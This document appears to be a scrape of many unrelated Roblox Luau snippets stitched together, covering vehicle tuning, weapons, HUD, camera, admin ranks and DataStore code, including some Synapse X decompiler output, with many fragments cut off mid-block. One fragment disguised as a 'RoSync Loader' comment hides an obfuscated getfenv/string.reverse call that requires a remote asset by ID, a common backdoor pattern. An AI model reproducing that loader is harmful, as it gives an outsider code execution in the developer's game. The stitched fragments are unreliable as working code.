---------------------------------------------------------------------------------------------------------------------------
|
local function Weld(X, Y)
local CJ = CFrame.new(X.Position)
local C0 = X.CFrame:inverse()*CJ
local C1 = Y.CFrame:inverse()*CJ
local W = Create("Weld"){
Name = "Weld",
Parent = X,
Part0 = X,
Part1 = Y,
C0 = C0,
C1 = C1
}
end
local function WeldObjects(parent)
for i, obj in pairs(parent:GetChildren()) do
if obj:IsA("Part") or obj:IsA("UnionOperation") then
Weld(Handle, obj)
obj.Anchored = false
-- print("[Weld] Objects have been welded!")
end
end
end
Tool.Equipped:connect(function()
WeldObjects(Tool)
end)
Tool.Unequipped:connect(function()
WeldObjects(Tool)
end)
|
--script.Parent.Parent.Parent.Bulb.Sound:Stop()
|
script.Parent.BrickColor = BrickColor.new("Bright red")
end
end
script.Parent.ClickDetector.MouseClick:connect(ToggleLight)
|
--[=[
Fires a signal at the clients within the `players` table. This is
useful when signals need to fire for a specific set of players.
For more complex firing, see `FireFilter`.
:::note Outbound Middleware
All arguments pass through any outbound middleware (if any)
before being sent to the clients.
:::
```lua
local players = {somePlayer1, somePlayer2, somePlayer3}
remoteSignal:FireFor(players, "Hello, players!")
```
]=]
|
function RemoteSignal:FireFor(players: { Player }, ...: any)
for _, player in ipairs(players) do
self._re:FireClient(player, self:_processOutboundMiddleware(nil, ...))
end
end
|
--Get Wheels
|
for a,b in pairs(Suspensions) do
for i,v in pairs(b:GetChildren()) do
--print(v.Name)
if string.match(v.Name,"Wheel") then
table.insert(Wheels,{Wheel = v})
end
end
end
|
--[[
At this point in time, developers will have to manually modify the HD Admin TopBar as Roblox don't provide much support when working with the TopBar:
hd:SetTopbarTransparency(number)
hd:SetTopbarEnabled(boolean)
--]]
|
return module
|
--[[
GAVturet - основной модуль
GAVAttack - скрипт цепляемый к пушке Fire
bullet - скрипт отвечающий за полёт снарядов Rocket -- за повреждение
]]
|
--
local Players = game:GetService("Players") -- берём ссылку на список игроков
local module = {}
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 773 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 1100 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 8250 -- Use sliders to manipulate values
Tune.Redline = 8750 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5250
Tune.PeakSharpness = 5.8
Tune.CurveMult = 0.294
--Incline Compensation
Tune.InclineComp = 1.5 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 400 -- RPM acceleration when clutch is off
Tune.RevDecay = 300 -- RPM decay when clutch is off
Tune.RevBounce = 450 -- RPM kickback from redline
Tune.IdleThrottle = 0 -- Percent throttle at idle
Tune.ClutchTol = 450 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
|
--[[Algemado.Changed:Connect(function()
Stance:FireServer(Stances,Virar,Rendido.Value)
end)]]
|
Humanoid.Died:Connect(function()
TS:Create(char.Humanoid, TweenInfo.new(1), {CameraOffset = Vector3.new(0,0,0)} ):Play()
Main.Visible = false
end)
local BleedTween = TS:Create(Main.Poses.Bleeding, TweenInfo.new(1,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,-1,true), {ImageColor3 = Color3.fromRGB(150, 0, 0)} )
BleedTween:Play()
saude:GetAttributeChangedSignal("Surrender"):Connect(function()
local Valor = saude:GetAttribute("Surrender")
Evt.Stance:FireServer(nil,nil,Valor)
end)
saude:GetAttributeChangedSignal("Bleeding"):Connect(function()
local Valor = saude:GetAttribute("Bleeding")
if Valor == true then
Main.Poses.Bleeding.Visible = true
else
Main.Poses.Bleeding.Visible = false
end
end)
saude:GetAttributeChangedSignal("Injured"):Connect(function()
local Valor = saude:GetAttribute("Injured")
if Valor == true then
TS:Create(Main.Poses.Levantado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(150, 0, 0)}):Play()
TS:Create(Main.Poses.Agaixado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(150, 0, 0)}):Play()
TS:Create(Main.Poses.Deitado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(150, 0, 0)}):Play()
else
TS:Create(Main.Poses.Levantado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255, 255, 255)}):Play()
TS:Create(Main.Poses.Agaixado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255, 255, 255)}):Play()
TS:Create(Main.Poses.Deitado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255, 255, 255)}):Play()
end
end)
local a = Main.Vest
local b = Main.Helm
local Ener = Main.Poses.Energy
function Vest()
if Protecao.VestProtect.Value <= 0 then
TS:Create(a, TweenInfo.new(1), {ImageTransparency = 1} ):Play()
else
TS:Create(a, TweenInfo.new(1), {ImageTransparency = .125} ):Play()
end
end
function Helmet()
if Protecao.HelmetProtect.Value <= 0 then
TS:Create(b, TweenInfo.new(1), {ImageTransparency = 1} ):Play()
else
TS:Create(b, TweenInfo.new(1), {ImageTransparency = .125} ):Play()
end
end
function Stamina()
if ServerConfig.EnableStamina then
if saude.Variaveis.Stamina.Value <= (saude.Variaveis.Stamina.MaxValue/2) then
Ener.ImageColor3 = Color3.new(1,saude.Variaveis.Stamina.Value/(saude.Variaveis.Stamina.MaxValue/2),saude.Variaveis.Stamina.Value/saude.Variaveis.Stamina.MaxValue)
Ener.Visible = true
elseif saude.Variaveis.Stamina.Value < saude.Variaveis.Stamina.MaxValue then
Ener.ImageColor3 = Color3.new(1,1,saude.Variaveis.Stamina.Value/saude.Variaveis.Stamina.MaxValue)
Ener.Visible = true
elseif saude.Variaveis.Stamina.Value >= saude.Variaveis.Stamina.MaxValue then
Ener.Visible = false
end
else
saude.Variaveis.Stamina.Value = saude.Variaveis.Stamina.MaxValue
Ener.Visible = false
end
end
Vest()
Helmet()
Stamina()
Protecao.VestProtect.Changed:Connect(Vest)
Protecao.HelmetProtect.Changed:Connect(Helmet)
saude.Variaveis.Stamina.Changed:Connect(Stamina)
function L_150_.Update()
if saude.Variaveis.Stamina.Value <= (saude.Variaveis.Stamina.MaxValue/2) then
local StaminaX = (1 - (saude.Variaveis.Stamina.Value)/(saude.Variaveis.Stamina.MaxValue/2))/20
Camera.CoordinateFrame = Camera.CoordinateFrame * CFrame.Angles( math.rad( StaminaX * math.sin( tick() * 3.5 )) , math.rad( StaminaX * math.sin( tick() * 1 )), 0)
end
end
maxAir = 100
air = maxAir
lastHealth = 100
lastHealth2 = 100
maxWidth = 0.96
local Nadando = false
Humanoid.StateChanged:connect(function(state)
if state == Enum.HumanoidStateType.Swimming then
Nadando = true
else
Nadando = false
end
end)
game:GetService("RunService"):BindToRenderStep("Camera Update", 200, L_150_.Update)
while wait() do
if ServerConfig.CanDrown and player.Character:FindFirstChild("Head") then
local min = player.Character.Head.Position - (.1 * player.Character.Head.Size)
local max = player.Character.Head.Position + (.1 * player.Character.Head.Size)
local region = Region3.new(min,max):ExpandToGrid(4)
local material = workspace.Terrain:ReadVoxels(region,4)[1][1][1]
if player.Character.Humanoid.Health > 0 then
if material == Enum.Material.Water then
if air > 0 then
air = air-0.15
elseif air <= 0 then
air = 0
player.Character.Humanoid.Health = 0
end
else
if air < maxAir then
air = air + .5
end
end
end
if air <= 50 then
script.Parent.Frame.Oxygen.ImageColor3 = Color3.new(1,air/50,air/100)
script.Parent.Frame.Oxygen.Visible = true
elseif air < maxAir then
script.Parent.Frame.Oxygen.ImageColor3 = Color3.new(1,1,air/100)
script.Parent.Frame.Oxygen.Visible = true
elseif air >= maxAir then
script.Parent.Frame.Oxygen.Visible = false
end
script.Parent.Efeitos.Oxigen.ImageTransparency = air/100
if air <= 25 then
script.Parent.Efeitos.Oxigen.BackgroundTransparency = air/25
end
end
end
|
--[[
This file is to provide a simple place to update values that
this error reporter needs to be able to function properly.
These values are only read in as constants. Changing them while the game is running
will not update the behaviors of the reporters.
]]
|
return {
-- Game metadata
GAME_VERSION = "0.0.1",
-- Google Analytics values
REPORT_TO_GOOGLE_ANALYTICS = true,
GOOGLE_ANALYTICS_TRACKING_ID = "UA-149120298-1", ---TODO: PLS REMOVE BEFORE RELEASE
PRINT_SUCCESSFUL_GOOGLE_ANALYTICS = true,
-- PlayFab values
REPORT_TO_PLAYFAB = false,
PRINT_SUCCESSFUL_PLAYFAB = true,
-- General behaviors
DEBUG_HTTP = false,
DEBUG_REPORTER = false,
}
|
------------------------------------------------------------------------
-- verifies token conditions are met or else throw error
------------------------------------------------------------------------
|
function luaY:check_match(ls, what, who, where)
if not self:testnext(ls, what) then
if where == ls.linenumber then
self:error_expected(ls, what)
else
luaX:syntaxerror(ls, string.format(
self.LUA_QS.." expected (to close "..self.LUA_QS.." at line %d)",
luaX:token2str(ls, what), luaX:token2str(ls, who), where))
end
end
end
|
--Door script
--Variables
|
local doora = script.Parent.Parent.Door
local debounce = false
local open = false
|
--[[ Last synced 11/11/2020 02:27 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
-- Grab MostPoints value:
|
local mostPoints = PointsService.MostPoints:Get()
|
--//SS6 PLUGIN; SPLASH//--
|
--//INSPARE 2017//--
local ai = script.Parent.Main_Frame.A.Frame.ImageLabel
local bi = script.Parent.Main_Frame.B.Frame.ImageLabel
local ci = script.Parent.Main_Frame.C.Frame.ImageLabel
local di = script.Parent.Main_Frame.D.Frame.ImageLabel
local ei = script.Parent.Main_Frame.E.Frame.ImageLabel
ai.Size = UDim2.new(18,0,9,0)
bi.Size = UDim2.new(18,0,9,0)
ci.Size = UDim2.new(18,0,9,0)
di.Size = UDim2.new(18,0,9,0)
ei.Size = UDim2.new(18,0,9,0)
wait(.2)
script.Parent.SplashFade.OC:Play()
while true do
for i=1,2 do
for i=1,5 do
ai.Position = ai.Position - UDim2.new(3,0,0,0)
bi.Position = bi.Position - UDim2.new(3,0,0,0)
ci.Position = ci.Position - UDim2.new(3,0,0,0)
di.Position = di.Position - UDim2.new(3,0,0,0)
ei.Position = ei.Position - UDim2.new(3,0,0,0)
wait(.1)
end
ai.Position = ai.Position + UDim2.new(15,0,-3,0)
bi.Position = bi.Position + UDim2.new(15,0,-3,0)
ci.Position = ci.Position + UDim2.new(15,0,-3,0)
di.Position = di.Position + UDim2.new(15,0,-3,0)
ei.Position = ei.Position + UDim2.new(15,0,-3,0)
wait(.1)
end
ai.Position = ai.Position + UDim2.new(0,0,6,0)
bi.Position = bi.Position + UDim2.new(0,0,6,0)
ci.Position = ci.Position + UDim2.new(0,0,6,0)
di.Position = di.Position + UDim2.new(0,0,6,0)
ei.Position = ei.Position + UDim2.new(0,0,6,0)
wait(.1)
end
|
-- ScreenSpace -> WorldSpace. Taking a screen height, and a depth to put an object
-- at, and returning a size of how big that object has to be to appear that size
-- at that depth.
|
function ScreenSpace.ScreenToWorldByHeightDepth(x, y, screenHeight, depth)
local aspectRatio = ScreenSpace.AspectRatio()
local hfactor = math.tan(math.rad(Workspace.CurrentCamera.FieldOfView)/2)
local wfactor = aspectRatio*hfactor
local sx, sy = ScreenSpace.ViewSizeX(), ScreenSpace.ViewSizeY()
--
local worldHeight = -(screenHeight/sy) * 2 * hfactor * depth
--
local xf, yf = x/sx*2 - 1, y/sy*2 - 1
local xpos = xf * -wfactor * depth
local ypos = yf * hfactor * depth
--
return Vector3.new(xpos, ypos, depth), worldHeight
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
while true do
wait();
if game.Players.LocalPlayer then
break;
end;
end;
local l__LocalPlayer__1 = game.Players.LocalPlayer;
script.ghost2:Play();
for v2, v3 in pairs(l__LocalPlayer__1.Character:GetChildren()) do
if v3:IsA("BasePart") then
v3.Material = Enum.Material.ForceField;
end;
end;
game.Workspace.Gravity = 80;
wait(25);
for v4 = 1, 15 do
for v5, v6 in pairs(l__LocalPlayer__1.Character:GetChildren()) do
if v6:IsA("BasePart") then
v6.Material = Enum.Material.Plastic;
end;
end;
wait(0.1);
for v7, v8 in pairs(l__LocalPlayer__1.Character:GetChildren()) do
if v8:IsA("BasePart") then
v8.Material = Enum.Material.ForceField;
end;
end;
wait(0.1);
end;
for v9, v10 in pairs(l__LocalPlayer__1.Character:GetChildren()) do
if v10:IsA("BasePart") then
v10.Material = Enum.Material.Plastic;
end;
end;
game.Workspace.Gravity = 196.2;
wait(0.2);
script.Parent:Remove();
|
-- if hit:getMass() < 1.2 * 200 then
-- hit.BrickColor = ball.BrickColor
-- end
|
-- make a splat
|
--plr.TeamColor = game.Teams.D.TeamColor
|
plr:LoadCharacter()
end
end)
|
--[[Steering]]
|
Tune.SteerInner = 45.2 -- Inner wheel steering angle (in degrees)
Tune.SteerOuter = 45.2 -- Outer wheel steering angle (in degrees)
Tune.SteerSpeed = .18 -- Steering increment per tick (in degrees)
Tune.ReturnSpeed = .2 -- Steering increment per tick (in degrees)
Tune.SteerDecay = 330 -- Speed of gradient cutoff (in SPS)
Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent)
Tune.MSteerExp = 1 -- Mouse steering exponential degree
|
--
|
return {
Point = Point;
Constraint = Constraint;
}
|
--[[Jak to komuś rozdasz to cie zabije
Cieżko się naprawcowałem :v]]
| |
--// Damage Settings
|
BaseDamage = 46; -- Torso Damage
LimbDamage = 40; -- Arms and Legs
ArmorDamage = 38; -- How much damage is dealt against armor (Name the armor "Armor")
HeadDamage = 1000; -- If you set this to 100, there's a chance the player won't die because of the heal script
|
--[[
ButtonFire.ProximityPrompt.Enabled = true
ButtonFire.ProximityPrompt.MaxActivationDistance = 5
ButtonFire.ProximityPrompt.Triggered:Connect(function()
Events:Fire("fire",1)
ButtonFire.Click:Play()
end)
]]
|
ButtonCancel.ProximityPrompt.Triggered:Connect(function()
Events:Fire("signal",0)
ButtonCancel.Click:Play()
end)
ButtonTest.ProximityPrompt.Triggered:Connect(function()
Events:Fire("test")
end)
ButtonTest.ProximityPrompt.TriggerEnded:Connect(function()
Events:Fire("stoptest")
end)
|
-- Ragdoll On
|
local UTJointB = character.UpperTorso:FindFirstChild("WaistRigAttachment")
local LTJointB = character.LowerTorso:FindFirstChild("WaistRigAttachment")
|
-- Decompiled with the Synapse X Luau decompiler.
|
client = nil;
service = nil;
return function(p1)
local v1 = p1.Table or p1.Tab;
local l__Update__2 = p1.Update;
local l__AutoUpdate__3 = p1.AutoUpdate;
local l__LoadTime__4 = p1.LoadTime;
local l__gIndex__5 = p1.gIndex;
local l__gTable__6 = p1.gTable;
local l__Dots__7 = p1.Dots;
local l__Sanitize__8 = p1.Sanitize;
local l__Stacking__1 = p1.Stacking;
local u2 = nil;
local u3 = nil;
local function u4(p2)
local v9 = {};
for v10, v11 in next, p2 do
if type(v11) == "table" then
v9[v10] = {
Text = v11.Text,
Desc = v11.Desc,
Time = v11.Time,
Filter = v11.Filter,
Duplicates = v11.Duplicates
};
elseif type(v11) == "string" then
v9[v10] = {
Text = v11,
Desc = v11
};
end;
end;
if l__Stacking__1 then
v9 = {};
local v12 = nil;
for v13, v14 in next, v9 do
v14.Text = service.Trim(v14.Text);
v14.Desc = service.Trim(v14.Desc);
if not v12 then
v12 = v14;
table.insert(v9, v14);
elseif v12.Text == v14.Text and v12.Desc == v14.Desc then
v12.Duplicates = v12.Duplicates and v12.Duplicates + 1 or 2;
else
v12 = v14;
table.insert(v9, v14);
end;
end;
end;
local l__next__15 = next;
local v16 = nil;
while true do
local v17, v18 = l__next__15(v9, v16);
if not v17 then
break;
end;
v18.Text = p1.Sanitize and service.SanitizeString(v18.Text) or v18.Text;
if v18.Duplicates then
v18.Text = "(x" .. v18.Duplicates .. ") " .. v18.Text;
end;
if v18.Time then
v18.Text = "[" .. v18.Time .. "] " .. v18.Text;
end;
end;
return v9;
end;
local function u5(p3, p4)
local v19 = {};
p4 = p4:lower();
for v20, v21 in next, p3 do
if p4 == "" or type(v21) == "string" and not (not v21:lower():find(p4)) or type(v21) == "table" and (not (not v21.Text) and not (not v21.Text:lower():find(p4)) or v21.Filter and v21.Filter:lower():find(p4)) then
table.insert(v19, v21);
end;
end;
return v19;
end;
local function v22(p5)
if u2.Text ~= "Search" and u2.Text ~= "" then
u3:GenerateList(u4(u5(p5, u2.Text)));
return;
end;
u2.Text = "Search";
u3:GenerateList(u4(p5));
end;
local v23 = {
Name = "List",
Title = p1.Title,
Size = p1.Size or { 225, 200 },
MinSize = { 150, 100 }
};
local v24 = l__Update__2;
if v24 then
local u6 = v1;
local l__UpdateArgs__7 = p1.UpdateArgs;
local l__UpdateArg__8 = p1.UpdateArg;
v24 = function()
u6 = client.Remote.Get("UpdateList", l__Update__2, unpack(l__UpdateArgs__7 or { l__UpdateArg__8 }));
if u6 then
v22(u6);
end;
end;
end;
v23.OnRefresh = v24;
local v25 = client.UI.Make("Window", v23);
u3 = v25:Add("ScrollingFrame", {
List = {},
ScrollBarThickness = 2,
BackgroundTransparency = 1,
Position = UDim2.new(0, 5, 0, 30),
Size = UDim2.new(1, -10, 1, -30)
});
u2 = v25:Add("TextBox", {
Size = UDim2.new(1, -10, 0, 20),
Position = UDim2.new(0, 5, 0, 5),
BackgroundTransparency = 0.5,
BorderSizePixel = 0,
TextColor3 = Color3.new(1, 1, 1),
Text = "Search",
PlaceholderText = "Search",
TextStrokeTransparency = 0.8
});
u2.FocusLost:connect(function(p6)
v22(v1);
end);
v25:Ready();
v22(v1);
if l__Update__2 and l__AutoUpdate__3 then
while v25.gTable.Active and wait(l__AutoUpdate__3) do
v25:Refresh();
end;
end;
end;
|
--//=================================\\
--|| EFFECTS
--\\=================================//
|
function SpawnPuddle(POSITION,IGNR,GOO)
local HIT,POS,NOR = Raycast(POSITION, CFrame.new(POSITION,POSITION-Vector3.new(0,1,0)).lookVector, 12, IGNR)
if HIT then
coroutine.resume(coroutine.create(function()
local GOREPART = CreatePart(3, Effects, "SmoothPlastic", 0, 1, "White", "Gore", VT(3,0,3), true)
local SURFACE = script.Puddle:Clone()
SURFACE.Parent = GOREPART
if GOO == true then
SURFACE.Image.ImageColor3 = C3(1,1,1)
end
GOREPART.CFrame = CFrame.new(POS,POS+NOR)*CFrame.Angles(math.rad(-90),math.rad(math.random(0,360)),0)
for i = 1, math.random(25,65) do
Swait()
GOREPART.Size = GOREPART.Size + Vector3.new(0.1,0,0.1)
end
wait(math.random(10,25)/50)
for i = 1, 25 do
Swait()
SURFACE.Image.ImageTransparency = SURFACE.Image.ImageTransparency + 1/25
end
GOREPART:Remove()
end))
end
end
|
-- RANK, RANK NAMES & SPECIFIC USERS
|
Ranks = {
{5, "Hail Me", };
{4, "HeadAdmin", {"",0}, };
{3, "Admin", {"",0}, };
{2, "Mod", {"",0}, };
{1, "VIP", {"",0}, };
{0, "NonAdmin", };
};
|
--// Connections
|
L_107_.OnClientEvent:connect(function(L_190_arg1, L_191_arg2, L_192_arg3, L_193_arg4, L_194_arg5, L_195_arg6, L_196_arg7)
if L_190_arg1 and not L_15_ then
MakeFakeArms()
L_42_ = L_2_.PlayerGui.MainGui
L_26_ = L_42_:WaitForChild('Others')
L_27_ = L_26_:WaitForChild('Kill')
L_28_ = L_42_:WaitForChild('GameGui'):WaitForChild('AmmoFrame')
L_29_ = L_28_:WaitForChild('Ammo')
L_30_ = L_28_:WaitForChild('AmmoBackground')
L_31_ = L_28_:WaitForChild('MagCount')
L_32_ = L_28_:WaitForChild('MagCountBackground')
L_33_ = L_28_:WaitForChild('DistDisp')
L_34_ = L_28_:WaitForChild('Title')
L_35_ = L_28_:WaitForChild('Mode1')
L_36_ = L_28_:WaitForChild('Mode2')
L_37_ = L_28_:WaitForChild('Mode3')
L_38_ = L_28_:WaitForChild('Mode4')
L_39_ = L_28_:WaitForChild('Mode5')
L_40_ = L_28_:WaitForChild('Stances')
L_41_ = L_42_:WaitForChild('Shading')
L_41_.Visible = false
L_34_.Text = L_1_.Name
UpdateAmmo()
L_43_ = L_191_arg2
L_44_ = L_192_arg3
L_45_ = L_193_arg4
L_46_ = L_194_arg5
L_47_ = L_195_arg6
L_48_ = L_196_arg7
L_49_ = L_61_.Bolt
L_86_ = L_48_.C1
L_87_ = L_48_.C0
if L_1_:FindFirstChild('AimPart2') then
L_56_ = L_1_:WaitForChild('AimPart2')
end
if L_1_:FindFirstChild('FirePart2') then
L_59_ = L_1_.FirePart2
end
if L_24_.FirstPersonOnly then
L_2_.CameraMode = Enum.CameraMode.LockFirstPerson
end
--uis.MouseIconEnabled = false
L_5_.FieldOfView = 70
L_15_ = true
elseif L_15_ then
if L_3_ and L_3_.Humanoid and L_3_.Humanoid.Health > 0 and L_9_ then
Stand()
Unlean()
end
L_92_ = 0
L_79_ = false
L_80_ = false
L_81_ = false
L_63_ = false
L_66_ = false
L_65_ = false
Shooting = false
L_96_ = 70
RemoveArmModel()
L_42_:Destroy()
for L_197_forvar1, L_198_forvar2 in pairs(IgnoreList) do
if L_198_forvar2 ~= L_3_ and L_198_forvar2 ~= L_5_ and L_198_forvar2 ~= L_100_ then
table.remove(IgnoreList, L_197_forvar1)
end
end
if L_3_:FindFirstChild('Right Arm') and L_3_:FindFirstChild('Left Arm') then
L_3_['Right Arm'].LocalTransparencyModifier = 0
L_3_['Left Arm'].LocalTransparencyModifier = 0
end
L_77_ = false
L_68_ = true
L_2_.CameraMode = Enum.CameraMode.Classic
L_106_.MouseIconEnabled = true
L_5_.FieldOfView = 70
L_15_ = false
L_106_.MouseDeltaSensitivity = L_52_
L_4_.Icon = "http://www.roblox.com/asset?id=0"
L_15_ = false
L_4_.TargetFilter = nil
end
end)
|
--
|
end
else
print("sh")
end
else
print("arms")
end
end
|
-- This function is a primitive "pick randomly from table" function.
|
function main:GetRandomSound(SoundTable : {}) : string
return SoundTable[math.random(#SoundTable)]
end
return main
|
--// Aim|Zoom|Sensitivity Customization
|
ZoomSpeed = 0.1; -- The lower the number the slower and smoother the tween
AimZoom = 50; -- Default zoom
AimSpeed = 0.25;
UnaimSpeed = 0.05;
CycleAimZoom = 4; -- Cycled zoom
MouseSensitivity = 0.5; -- Number between 0.1 and 1
SensitivityIncrement = 0.05; -- No touchy
|
--[=[
@param signal Signal | RBXScriptSignal
@param callbackFn UpdateCallbackFn
@return Connection | RBXScriptConnection
Bind the `Update` method to a signal. For instance, this can be used
to connect to `RunService.Heartbeat`.
All connections are cleaned up when the shake instance is stopped
or destroyed.
```lua
local function SomeShake(pos: Vector3, rot: Vector3, completed: boolean)
-- Shake
end
shake:OnSignal(RunService.Heartbeat, SomeShake)
```
]=]
|
function Shake:OnSignal(signal, callbackFn: UpdateCallbackFn)
return self._trove:Connect(signal, function()
callbackFn(self:Update())
end)
end
|
---------------------------
--[[
--Main anchor point is the DriveSeat <car.DriveSeat>
Usage:
MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld" **Applies to Motor welds only
ModelWeld(Model,MainPart)
Example:
MakeWeld(car.DriveSeat,misc.PassengerSeat)
MakeWeld(car.DriveSeat,misc.SteeringWheel,"Motor",.2)
ModelWeld(car.DriveSeat,misc.Door)
]]
--Weld stuff here
|
MakeWeld(misc.Popups.left.lHinge,car.DriveSeat,"Motor",.1)
ModelWeld(misc.Popups.left.Parts,misc.Popups.left.lHinge)
MakeWeld(misc.Popups.right.rHinge,car.DriveSeat,"Motor",.1)
ModelWeld(misc.Popups.right.Parts,misc.Popups.right.rHinge)
MakeWeld(misc.Trunk.Hinge,car.DriveSeat,"Motor",.1)
ModelWeld(misc.Trunk.Parts,misc.Trunk.Hinge)
MakeWeld(misc.Hood.Hinge,car.DriveSeat,"Motor",.1)
ModelWeld(misc.Hood.Parts,misc.Hood.Hinge)
MakeWeld(car.Misc.Wheel.A,car.DriveSeat,"Motor",.5).Name="W"
ModelWeld(car.Misc.Wheel.Parts,car.Misc.Wheel.A)
|
--------LEFT DOOR 1--------
|
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(102)
|
----- LOCALES ------
|
local GuiSounds = game:GetService("ReplicatedStorage").SFX.GUISounds
local Button = script.Parent
|
-- When supplied, legacyCameraType is used and cameraMovementMode is ignored (should be nil anyways)
-- Next, if userCameraCreator is passed in, that is used as the cameraCreator
|
function CameraModule:ActivateCameraController(cameraMovementMode, legacyCameraType: Enum.CameraType?)
local newCameraCreator = nil
if legacyCameraType~=nil then
--[[
This function has been passed a CameraType enum value. Some of these map to the use of
the LegacyCamera module, the value "Custom" will be translated to a movementMode enum
value based on Dev and User settings, and "Scriptable" will disable the camera controller.
--]]
if legacyCameraType == Enum.CameraType.Scriptable then
if self.activeCameraController then
self.activeCameraController:Enable(false)
self.activeCameraController = nil
end
return
elseif legacyCameraType == Enum.CameraType.Custom then
cameraMovementMode = self:GetCameraMovementModeFromSettings()
elseif legacyCameraType == Enum.CameraType.Track then
-- Note: The TrackCamera module was basically an older, less fully-featured
-- version of ClassicCamera, no longer actively maintained, but it is re-implemented in
-- case a game was dependent on its lack of ClassicCamera's extra functionality.
cameraMovementMode = Enum.ComputerCameraMovementMode.Classic
elseif legacyCameraType == Enum.CameraType.Follow then
cameraMovementMode = Enum.ComputerCameraMovementMode.Follow
elseif legacyCameraType == Enum.CameraType.Orbital then
cameraMovementMode = Enum.ComputerCameraMovementMode.Orbital
elseif legacyCameraType == Enum.CameraType.Attach or
legacyCameraType == Enum.CameraType.Watch or
legacyCameraType == Enum.CameraType.Fixed then
newCameraCreator = LegacyCamera
else
warn("CameraScript encountered an unhandled Camera.CameraType value: ",legacyCameraType)
end
end
if not newCameraCreator then
if VRService.VREnabled then
newCameraCreator = VRCamera
elseif cameraMovementMode == Enum.ComputerCameraMovementMode.Classic or
cameraMovementMode == Enum.ComputerCameraMovementMode.Follow or
cameraMovementMode == Enum.ComputerCameraMovementMode.Default or
cameraMovementMode == Enum.ComputerCameraMovementMode.CameraToggle then
newCameraCreator = ClassicCamera
elseif cameraMovementMode == Enum.ComputerCameraMovementMode.Orbital then
newCameraCreator = OrbitalCamera
else
warn("ActivateCameraController did not select a module.")
return
end
end
local isVehicleCamera = self:ShouldUseVehicleCamera()
if isVehicleCamera then
if VRService.VREnabled then
newCameraCreator = VRVehicleCamera
else
newCameraCreator = VehicleCamera
end
end
-- Create the camera control module we need if it does not already exist in instantiatedCameraControllers
local newCameraController
if not instantiatedCameraControllers[newCameraCreator] then
newCameraController = newCameraCreator.new()
instantiatedCameraControllers[newCameraCreator] = newCameraController
else
newCameraController = instantiatedCameraControllers[newCameraCreator]
if newCameraController.Reset then
newCameraController:Reset()
end
end
if self.activeCameraController then
-- deactivate the old controller and activate the new one
if self.activeCameraController ~= newCameraController then
self.activeCameraController:Enable(false)
self.activeCameraController = newCameraController
self.activeCameraController:Enable(true)
elseif not self.activeCameraController:GetEnabled() then
self.activeCameraController:Enable(true)
end
elseif newCameraController ~= nil then
-- only activate the new controller
self.activeCameraController = newCameraController
self.activeCameraController:Enable(true)
end
if self.activeCameraController then
if cameraMovementMode~=nil then
self.activeCameraController:SetCameraMovementMode(cameraMovementMode)
elseif legacyCameraType~=nil then
-- Note that this is only called when legacyCameraType is not a type that
-- was convertible to a ComputerCameraMovementMode value, i.e. really only applies to LegacyCamera
self.activeCameraController:SetCameraType(legacyCameraType)
end
end
end
|
--Internal functions
|
function DataStore:Debug(...)
if self.debug then
print("[DataStore2.Debug]", ...)
end
end
function DataStore:_GetRaw()
if self.getRawPromise then
return self.getRawPromise
end
self.getRawPromise = self.savingMethod:Get():andThen(function(value)
self.value = value
self:Debug("value received")
self.haveValue = true
self.getting = false
end):catch(function(reason)
self.getting = false
self.getRawPromise = nil
return Promise.reject(reason)
end)
return self.getRawPromise
end
function DataStore:_Update(dontCallOnUpdate)
if not dontCallOnUpdate then
for _, callback in ipairs(self.callbacks) do
callback(self.value, self)
end
end
self.haveValue = true
self.valueUpdated = true
end
|
-- ALEX WAS HERE LOL
|
local u1 = nil;
coroutine.wrap(function()
u1 = require(game.ReplicatedStorage:WaitForChild("Resources"));
end)();
local u2 = {}
u2 = {
Add = function(p1, p2, p3)
local v1 = u1.Saving.Get(p1);
if not v1 then
return;
end;
local v2 = u1.Directory.Achievements[p2];
if not v2 then
return;
end;
local v3 = v1.Achievements[p2];
if not v3 then
v1.Achievements[p2] = {
stage = 1,
progress = 0
};
v3 = v1.Achievements[p2];
end;
